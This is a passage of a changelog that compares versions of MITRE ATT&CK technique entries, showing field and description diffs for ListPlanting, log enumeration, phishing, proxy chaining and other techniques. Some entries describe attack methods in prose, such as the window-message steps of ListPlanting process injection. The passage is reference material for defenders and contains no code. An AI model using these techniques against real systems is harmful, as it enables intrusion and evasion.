SysListView32 control. + +ListPlanting (a form of message-passing "shatter attack") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process’ memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods. + +Some variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) + +Finally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback.
x_mitre_version1.01.1
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Hexacorn Listplanting', 'description': 'Hexacorn. (2019, April 25). Listplanting – yet another code injection trick. Retrieved August 14, 2024.', 'url': 'https://www.hexacorn.com/blog/2019/04/25/listplanting-yet-another-code-injection-trick/'}

[T1654] Log Enumeration

Current version: 1.1

Version changed from: 1.0 → 1.1

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may enumerate system and service logs to find ust1Adversaries may enumerate system and service logs to find us
>eful data. These logs may highlight various types of valuabl>eful data. These logs may highlight various types of valuabl
>e insights for an adversary, such as user authentication rec>e insights for an adversary, such as user authentication rec
>ords ([Account Discovery](https://attack.mitre.org/technique>ords ([Account Discovery](https://attack.mitre.org/technique
>s/T1087)), security or vulnerable software ([Software Discov>s/T1087)), security or vulnerable software ([Software Discov
>ery](https://attack.mitre.org/techniques/T1518)), or hosts w>ery](https://attack.mitre.org/techniques/T1518)), or hosts w
>ithin a compromised network ([Remote System Discovery](https>ithin a compromised network ([Remote System Discovery](https
>://attack.mitre.org/techniques/T1018)).  Host binaries may b>://attack.mitre.org/techniques/T1018)).  Host binaries may b
>e leveraged to collect system logs. Examples include using `>e leveraged to collect system logs. Examples include using `
>wevtutil.exe` or [PowerShell](https://attack.mitre.org/techn>wevtutil.exe` or [PowerShell](https://attack.mitre.org/techn
>iques/T1059/001) on Windows to access and/or export security>iques/T1059/001) on Windows to access and/or export security
> event information.(Citation: WithSecure Lazarus-NoPineapple> event information.(Citation: WithSecure Lazarus-NoPineapple
> Threat Intel Report 2023)(Citation: Cadet Blizzard emerges > Threat Intel Report 2023)(Citation: Cadet Blizzard emerges 
>as novel threat actor) In cloud environments, adversaries ma>as novel threat actor) In cloud environments, adversaries ma
>y leverage utilities such as the Azure VM Agent’s `CollectGu>y leverage utilities such as the Azure VM Agent’s `CollectGu
>estLogs.exe` to collect security logs from cloud hosted infr>estLogs.exe` to collect security logs from cloud hosted infr
>astructure.(Citation: SIM Swapping and Abuse of the Microsof>astructure.(Citation: SIM Swapping and Abuse of the Microsof
>t Azure Serial Console)  Adversaries may also target central>t Azure Serial Console)  Adversaries may also target central
>ized logging infrastructure such as SIEMs. Logs may also be >ized logging infrastructure such as SIEMs. Logs may also be 
>bulk exported and sent to adversary-controlled infrastructur>bulk exported and sent to adversary-controlled infrastructur
>e for offline analysis.>e for offline analysis.  In addition to gaining a better und
 >erstanding of the environment, adversaries may also monitor 
 >logs in real time to track incident response procedures. Thi
 >s may allow them to adjust their techniques in order to main
 >tain persistence or evade defenses.(Citation: Permiso GUI-Vi
 >l 2023)
Details
values_changed
STIX FieldOld valueNew Value
modified2023-09-30 22:18:46.711000+00:002024-10-15 12:24:40.892000+00:00
descriptionAdversaries may enumerate system and service logs to find useful data. These logs may highlight various types of valuable insights for an adversary, such as user authentication records ([Account Discovery](https://attack.mitre.org/techniques/T1087)), security or vulnerable software ([Software Discovery](https://attack.mitre.org/techniques/T1518)), or hosts within a compromised network ([Remote System Discovery](https://attack.mitre.org/techniques/T1018)). + +Host binaries may be leveraged to collect system logs. Examples include using `wevtutil.exe` or [PowerShell](https://attack.mitre.org/techniques/T1059/001) on Windows to access and/or export security event information.(Citation: WithSecure Lazarus-NoPineapple Threat Intel Report 2023)(Citation: Cadet Blizzard emerges as novel threat actor) In cloud environments, adversaries may leverage utilities such as the Azure VM Agent’s `CollectGuestLogs.exe` to collect security logs from cloud hosted infrastructure.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console) + +Adversaries may also target centralized logging infrastructure such as SIEMs. Logs may also be bulk exported and sent to adversary-controlled infrastructure for offline analysis.Adversaries may enumerate system and service logs to find useful data. These logs may highlight various types of valuable insights for an adversary, such as user authentication records ([Account Discovery](https://attack.mitre.org/techniques/T1087)), security or vulnerable software ([Software Discovery](https://attack.mitre.org/techniques/T1518)), or hosts within a compromised network ([Remote System Discovery](https://attack.mitre.org/techniques/T1018)). + +Host binaries may be leveraged to collect system logs. Examples include using `wevtutil.exe` or [PowerShell](https://attack.mitre.org/techniques/T1059/001) on Windows to access and/or export security event information.(Citation: WithSecure Lazarus-NoPineapple Threat Intel Report 2023)(Citation: Cadet Blizzard emerges as novel threat actor) In cloud environments, adversaries may leverage utilities such as the Azure VM Agent’s `CollectGuestLogs.exe` to collect security logs from cloud hosted infrastructure.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console) + +Adversaries may also target centralized logging infrastructure such as SIEMs. Logs may also be bulk exported and sent to adversary-controlled infrastructure for offline analysis. + +In addition to gaining a better understanding of the environment, adversaries may also monitor logs in real time to track incident response procedures. This may allow them to adjust their techniques in order to maintain persistence or evade defenses.(Citation: Permiso GUI-Vil 2023)
x_mitre_version1.01.1
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Permiso GUI-Vil 2023', 'description': 'Ian Ahl. (2023, May 22). Unmasking GUI-Vil: Financially Motivated Cloud Threat Actor. Retrieved August 30, 2024.', 'url': 'https://permiso.io/blog/s/unmasking-guivil-new-cloud-threat-actor/'}
x_mitre_contributorsMenachem Goldstein

[T1204.002] User Execution: Malicious File

Current version: 1.4

Version changed from: 1.3 → 1.4

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1An adversary may rely upon a user opening a malicious file it1An adversary may rely upon a user opening a malicious file i
>n order to gain execution. Users may be subjected to social >n order to gain execution. Users may be subjected to social 
>engineering to get them to open a file that will lead to cod>engineering to get them to open a file that will lead to cod
>e execution. This user action will typically be observed as >e execution. This user action will typically be observed as 
>follow-on behavior from [Spearphishing Attachment](https://a>follow-on behavior from [Spearphishing Attachment](https://a
>ttack.mitre.org/techniques/T1566/001). Adversaries may use s>ttack.mitre.org/techniques/T1566/001). Adversaries may use s
>everal types of files that require a user to execute them, i>everal types of files that require a user to execute them, i
>ncluding .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and>ncluding .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cp
> .cpl.  Adversaries may employ various forms of [Masqueradin>l, and .reg.  Adversaries may employ various forms of [Masqu
>g](https://attack.mitre.org/techniques/T1036) and [Obfuscate>erading](https://attack.mitre.org/techniques/T1036) and [Obf
>d Files or Information](https://attack.mitre.org/techniques/>uscated Files or Information](https://attack.mitre.org/techn
>T1027) to increase the likelihood that a user will open and >iques/T1027) to increase the likelihood that a user will ope
>successfully execute a malicious file. These methods may inc>n and successfully execute a malicious file. These methods m
>lude using a familiar naming convention and/or password prot>ay include using a familiar naming convention and/or passwor
>ecting the file and supplying instructions to a user on how >d protecting the file and supplying instructions to a user o
>to open it.(Citation: Password Protected Word Docs)   While >n how to open it.(Citation: Password Protected Word Docs)   
>[Malicious File](https://attack.mitre.org/techniques/T1204/0>While [Malicious File](https://attack.mitre.org/techniques/T
>02) frequently occurs shortly after Initial Access it may oc>1204/002) frequently occurs shortly after Initial Access it 
>cur at other phases of an intrusion, such as when an adversa>may occur at other phases of an intrusion, such as when an a
>ry places a file in a shared directory or on a user's deskto>dversary places a file in a shared directory or on a user's 
>p hoping that a user will click on it. This activity may als>desktop hoping that a user will click on it. This activity m
>o be seen shortly after [Internal Spearphishing](https://att>ay also be seen shortly after [Internal Spearphishing](https
>ack.mitre.org/techniques/T1534).>://attack.mitre.org/techniques/T1534).
Details
values_changed
STIX FieldOld valueNew Value
modified2023-04-21 12:22:19.740000+00:002024-09-25 20:50:34.876000+00:00
descriptionAn adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl. + +Adversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) + +While [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, and .reg. + +Adversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) + +While [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.31.4

[T1204.001] User Execution: Malicious Link

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
x_mitre_remote_supportFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['User']
values_changed
STIX FieldOld valueNew Value
modified2020-03-11 14:43:31.706000+00:002024-09-10 16:40:03.786000+00:00
x_mitre_version1.01.1

[T1556] Modify Authentication Process

Current version: 2.5

Version changed from: 2.4 → 2.5

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-11 21:51:44.851000+00:002024-10-14 22:11:30.271000+00:00
x_mitre_version2.42.5
x_mitre_platforms[7]Office 365Identity Provider
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsOffice Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsGoogle Workspace

[T1556.006] Modify Authentication Process: Multi-Factor Authentication

Current version: 1.3

Version changed from: 1.2 → 1.3

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-16 00:20:21.488000+00:002024-10-14 22:11:30.271000+00:00
x_mitre_version1.21.3
x_mitre_platforms[5]Google WorkspaceOffice Suite
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_contributorsArun Seelagan, CISA
x_mitre_platformsIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsOffice 365

[T1621] Multi-Factor Authentication Request Generation

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-19 04:26:29.365000+00:002024-10-14 22:11:30.271000+00:00
x_mitre_version1.11.2
x_mitre_platforms[6]Azure ADIdentity Provider
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_contributorsArun Seelagan, CISA
x_mitre_platformsOffice Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsOffice 365
x_mitre_platformsGoogle Workspace

[T1090.003] Proxy: Multi-hop Proxy

Current version: 2.2

Version changed from: 2.1 → 2.2

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may chain together multiple proxies to disguise t1Adversaries may chain together multiple proxies to disguise 
>the source of malicious traffic. Typically, a defender will >the source of malicious traffic. Typically, a defender will 
>be able to identify the last proxy traffic traversed before >be able to identify the last proxy traffic traversed before 
>it enters their network; the defender may or may not be able>it enters their network; the defender may or may not be able
> to identify any previous proxies before the last-hop proxy.> to identify any previous proxies before the last-hop proxy.
> This technique makes identifying the original source of the> This technique makes identifying the original source of the
> malicious traffic even more difficult by requiring the defe> malicious traffic even more difficult by requiring the defe
>nder to trace malicious traffic through several proxies to i>nder to trace malicious traffic through several proxies to i
>dentify its source.  For example, adversaries may construct >dentify its source.  For example, adversaries may construct 
>or use onion routing networks – such as the publicly availab>or use onion routing networks – such as the publicly availab
>le [Tor](https://attack.mitre.org/software/S0183) network – >le [Tor](https://attack.mitre.org/software/S0183) network – 
>to transport encrypted C2 traffic through a compromised popu>to transport encrypted C2 traffic through a compromised popu
>lation, allowing communication with any device within the ne>lation, allowing communication with any device within the ne
>twork.(Citation: Onion Routing)  In the case of network infr>twork.(Citation: Onion Routing) Adversaries may also use ope
>astructure, it is possible for an adversary to leverage mult>rational relay box (ORB) networks composed of virtual privat
>iple compromised devices to create a multi-hop proxy chain (>e servers (VPS), Internet of Things (IoT) devices, smart dev
>i.e., [Network Devices](https://attack.mitre.org/techniques/>ices, and end-of-life routers to obfuscate their operations.
>T1584/008)). By leveraging [Patch System Image](https://atta> (Citation: ORB Mandiant)   In the case of network infrastru
>ck.mitre.org/techniques/T1601/001) on routers, adversaries c>cture, it is possible for an adversary to leverage multiple 
>an add custom code to the affected network devices that will>compromised devices to create a multi-hop proxy chain (i.e.,
> implement onion routing between those nodes. This method is> [Network Devices](https://attack.mitre.org/techniques/T1584
> dependent upon the [Network Boundary Bridging](https://atta>/008)). By leveraging [Patch System Image](https://attack.mi
>ck.mitre.org/techniques/T1599) method allowing the adversari>tre.org/techniques/T1601/001) on routers, adversaries can ad
>es to cross the protected network boundary of the Internet p>d custom code to the affected network devices that will impl
>erimeter and into the organization’s Wide-Area Network (WAN)>ement onion routing between those nodes. This method is depe
>.  Protocols such as ICMP may be used as a transport.  Simil>ndent upon the [Network Boundary Bridging](https://attack.mi
>arly, adversaries may abuse peer-to-peer (P2P) and blockchai>tre.org/techniques/T1599) method allowing the adversaries to
>n-oriented infrastructure to implement routing between a dec> cross the protected network boundary of the Internet perime
>entralized network of peers.(Citation: NGLite Trojan)>ter and into the organization’s Wide-Area Network (WAN).  Pr
 >otocols such as ICMP may be used as a transport.    Similarl
 >y, adversaries may abuse peer-to-peer (P2P) and blockchain-o
 >riented infrastructure to implement routing between a decent
 >ralized network of peers.(Citation: NGLite Trojan)
Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-19 13:24:36.872000+00:002024-09-25 20:48:24.411000+00:00
descriptionAdversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. + +For example, adversaries may construct or use onion routing networks – such as the publicly available [Tor](https://attack.mitre.org/software/S0183) network – to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network.(Citation: Onion Routing) + +In the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., [Network Devices](https://attack.mitre.org/techniques/T1584/008)). By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001) on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s Wide-Area Network (WAN). Protocols such as ICMP may be used as a transport. + +Similarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.(Citation: NGLite Trojan)Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. + +For example, adversaries may construct or use onion routing networks – such as the publicly available [Tor](https://attack.mitre.org/software/S0183) network – to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network.(Citation: Onion Routing) Adversaries may also use operational relay box (ORB) networks composed of virtual private servers (VPS), Internet of Things (IoT) devices, smart devices, and end-of-life routers to obfuscate their operations. (Citation: ORB Mandiant) + +In the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., [Network Devices](https://attack.mitre.org/techniques/T1584/008)). By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001) on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s Wide-Area Network (WAN). Protocols such as ICMP may be used as a transport. + +Similarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.(Citation: NGLite Trojan)
x_mitre_version2.12.2
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'ORB Mandiant', 'description': 'Raggi, Michael. (2024, May 22). IOC Extinction? China-Nexus Cyber Espionage Actors Use ORB Networks to Raise Cost on Defenders. Retrieved July 8, 2024.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks'}

[T1498] Network Denial of Service

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2022-03-25 20:05:40.122000+00:002024-10-15 16:01:00.510000+00:00
external_references[2]['description']FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019.FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved September 23, 2024.
external_references[2]['url']https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdfhttps://www.ic3.gov/Media/PDF/Y2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf
x_mitre_version1.11.2
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsOffice 365
x_mitre_platformsSaaS
x_mitre_platformsGoogle Workspace

[T1137] Office Application Startup

Current version: 1.4

Version changed from: 1.3 → 1.4

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['User', 'Administrator']
values_changed
STIX FieldOld valueNew Value
modified2021-10-15 20:18:31.112000+00:002024-10-15 16:01:21.255000+00:00
x_mitre_version1.31.4
x_mitre_platforms[1]Office 365Office Suite

[T1137.001] Office Application Startup: Office Template Macros

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['User', 'Administrator']
values_changed
STIX FieldOld valueNew Value
modified2021-08-16 21:27:10.873000+00:002024-10-15 16:01:35.918000+00:00
x_mitre_version1.11.2
x_mitre_platforms[1]Office 365Office Suite

[T1137.002] Office Application Startup: Office Test

Current version: 1.3

Version changed from: 1.2 → 1.3

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-16 12:41:55.175000+00:002024-10-15 16:01:48.325000+00:00
x_mitre_version1.21.3
x_mitre_platforms[1]Office 365Office Suite

[T1137.003] Office Application Startup: Outlook Forms

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['Administrator', 'User']
values_changed
STIX FieldOld valueNew Value
modified2021-08-16 21:29:19.697000+00:002024-10-15 16:02:00.782000+00:00
x_mitre_version1.11.2
x_mitre_platforms[1]Office 365Office Suite

[T1137.004] Office Application Startup: Outlook Home Page

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['Administrator', 'User']
values_changed
STIX FieldOld valueNew Value
modified2021-08-16 21:30:01.743000+00:002024-10-15 16:02:13.742000+00:00
x_mitre_version1.11.2
x_mitre_platforms[1]Office 365Office Suite

[T1137.005] Office Application Startup: Outlook Rules

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['Administrator', 'User']
values_changed
STIX FieldOld valueNew Value
modified2021-10-15 20:18:30.700000+00:002024-10-15 16:02:26.206000+00:00
x_mitre_version1.11.2
x_mitre_platforms[1]Office 365Office Suite

[T1110.002] Brute Force: Password Cracking

Current version: 1.3

Version changed from: 1.2 → 1.3

Details
values_changed
STIX FieldOld valueNew Value
modified2023-03-30 21:01:48.643000+00:002024-10-14 22:11:30.271000+00:00
x_mitre_attack_spec_version2.1.03.2.0
x_mitre_version1.21.3
x_mitre_platforms[4]Azure ADOffice Suite
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsOffice 365

[T1556.002] Modify Authentication Process: Password Filter DLL

Current version: 2.1

Version changed from: 2.0 → 2.1

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['Administrator', 'SYSTEM']
values_changed
STIX FieldOld valueNew Value
modified2021-04-20 20:11:55.147000+00:002024-08-21 16:16:18.271000+00:00
x_mitre_version2.02.1

[T1110.001] Brute Force: Password Guessing

Current version: 1.6

Version changed from: 1.5 → 1.6

Details
values_changed
STIX FieldOld valueNew Value
modified2023-10-16 16:57:41.743000+00:002024-10-14 22:11:30.271000+00:00
x_mitre_version1.51.6
x_mitre_platforms[7]Google WorkspaceOffice Suite
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsOffice 365

[T1555.005] Credentials from Password Stores: Password Managers

Current version: 1.1

Version changed from: 1.0 → 1.1

New Mitigations:

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['User']
values_changed
STIX FieldOld valueNew Value
modified2022-03-25 13:18:55.310000+00:002024-08-19 13:53:33.661000+00:00
x_mitre_version1.01.1

[T1201] Password Policy Discovery

Current version: 1.6

Version changed from: 1.5 → 1.6

Details
values_changed
STIX FieldOld valueNew Value
modified2022-09-06 22:01:45.067000+00:002024-10-15 16:02:44.477000+00:00
x_mitre_attack_spec_version2.1.03.2.0
x_mitre_version1.51.6
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsIdentity Provider
x_mitre_platformsSaaS
x_mitre_platformsOffice Suite

[T1110.003] Brute Force: Password Spraying

Current version: 1.6

Version changed from: 1.5 → 1.6

Details
values_changed
STIX FieldOld valueNew Value
modified2024-03-07 14:33:34.201000+00:002024-10-14 22:11:30.271000+00:00
x_mitre_version1.51.6
x_mitre_platforms[7]Google WorkspaceOffice Suite
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsOffice 365

[T1069] Permission Groups Discovery

Current version: 2.6

Version changed from: 2.5 → 2.6

Details
values_changed
STIX FieldOld valueNew Value
modified2023-04-15 17:26:53.365000+00:002024-10-15 16:03:06.294000+00:00
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version2.52.6
x_mitre_platforms[7]Google WorkspaceIdentity Provider
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsOffice Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsOffice 365

[T1566] Phishing

Current version: 2.6

Version changed from: 2.5 → 2.6

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may send phishing messages to gain access to vict1Adversaries may send phishing messages to gain access to vic
>tim systems. All forms of phishing are electronically delive>tim systems. All forms of phishing are electronically delive
>red social engineering. Phishing can be targeted, known as s>red social engineering. Phishing can be targeted, known as s
>pearphishing. In spearphishing, a specific individual, compa>pearphishing. In spearphishing, a specific individual, compa
>ny, or industry will be targeted by the adversary. More gene>ny, or industry will be targeted by the adversary. More gene
>rally, adversaries can conduct non-targeted phishing, such a>rally, adversaries can conduct non-targeted phishing, such a
>s in mass malware spam campaigns.  Adversaries may send vict>s in mass malware spam campaigns.  Adversaries may send vict
>ims emails containing malicious attachments or links, typica>ims emails containing malicious attachments or links, typica
>lly to execute malicious code on victim systems. Phishing ma>lly to execute malicious code on victim systems. Phishing ma
>y also be conducted via third-party services, like social me>y also be conducted via third-party services, like social me
>dia platforms. Phishing may also involve social engineering >dia platforms. Phishing may also involve social engineering 
>techniques, such as posing as a trusted source, as well as e>techniques, such as posing as a trusted source, as well as e
>vasive techniques such as removing or manipulating emails or>vasive techniques such as removing or manipulating emails or
> metadata/headers from compromised accounts being abused to > metadata/headers from compromised accounts being abused to 
>send messages (e.g., [Email Hiding Rules](https://attack.mit>send messages (e.g., [Email Hiding Rules](https://attack.mit
>re.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spa>re.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spa
>m 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) An>m 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) An
>other way to accomplish this is by forging or spoofing(Citat>other way to accomplish this is by forging or spoofing(Citat
>ion: Proofpoint-spoof) the identity of the sender which can >ion: Proofpoint-spoof) the identity of the sender which can 
>be used to fool both the human recipient as well as automate>be used to fool both the human recipient as well as automate
>d security tools.(Citation: cyberproof-double-bounce)   Vict>d security tools,(Citation: cyberproof-double-bounce) or by 
>ims may also receive phishing messages that instruct them to>including the intended target as a party to an existing emai
> call a phone number where they are directed to visit a mali>l thread that includes malicious files or links (i.e., "thre
>cious URL, download malware,(Citation: sygnia Luna Month)(Ci>ad hijacking").(Citation: phishing-krebs)  Victims may also 
>tation: CISA Remote Monitoring and Management Software) or i>receive phishing messages that instruct them to call a phone
>nstall adversary-accessible remote management tools onto the> number where they are directed to visit a malicious URL, do
>ir computer (i.e., [User Execution](https://attack.mitre.org>wnload malware,(Citation: sygnia Luna Month)(Citation: CISA 
>/techniques/T1204)).(Citation: Unit42 Luna Moth)>Remote Monitoring and Management Software) or install advers
 >ary-accessible remote management tools onto their computer (
 >i.e., [User Execution](https://attack.mitre.org/techniques/T
 >1204)).(Citation: Unit42 Luna Moth)
Details
values_changed
STIX FieldOld valueNew Value
modified2024-03-01 16:56:32.245000+00:002024-10-07 15:00:19.668000+00:00
descriptionAdversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. + +Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce) + +Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: Unit42 Luna Moth)Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. + +Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party 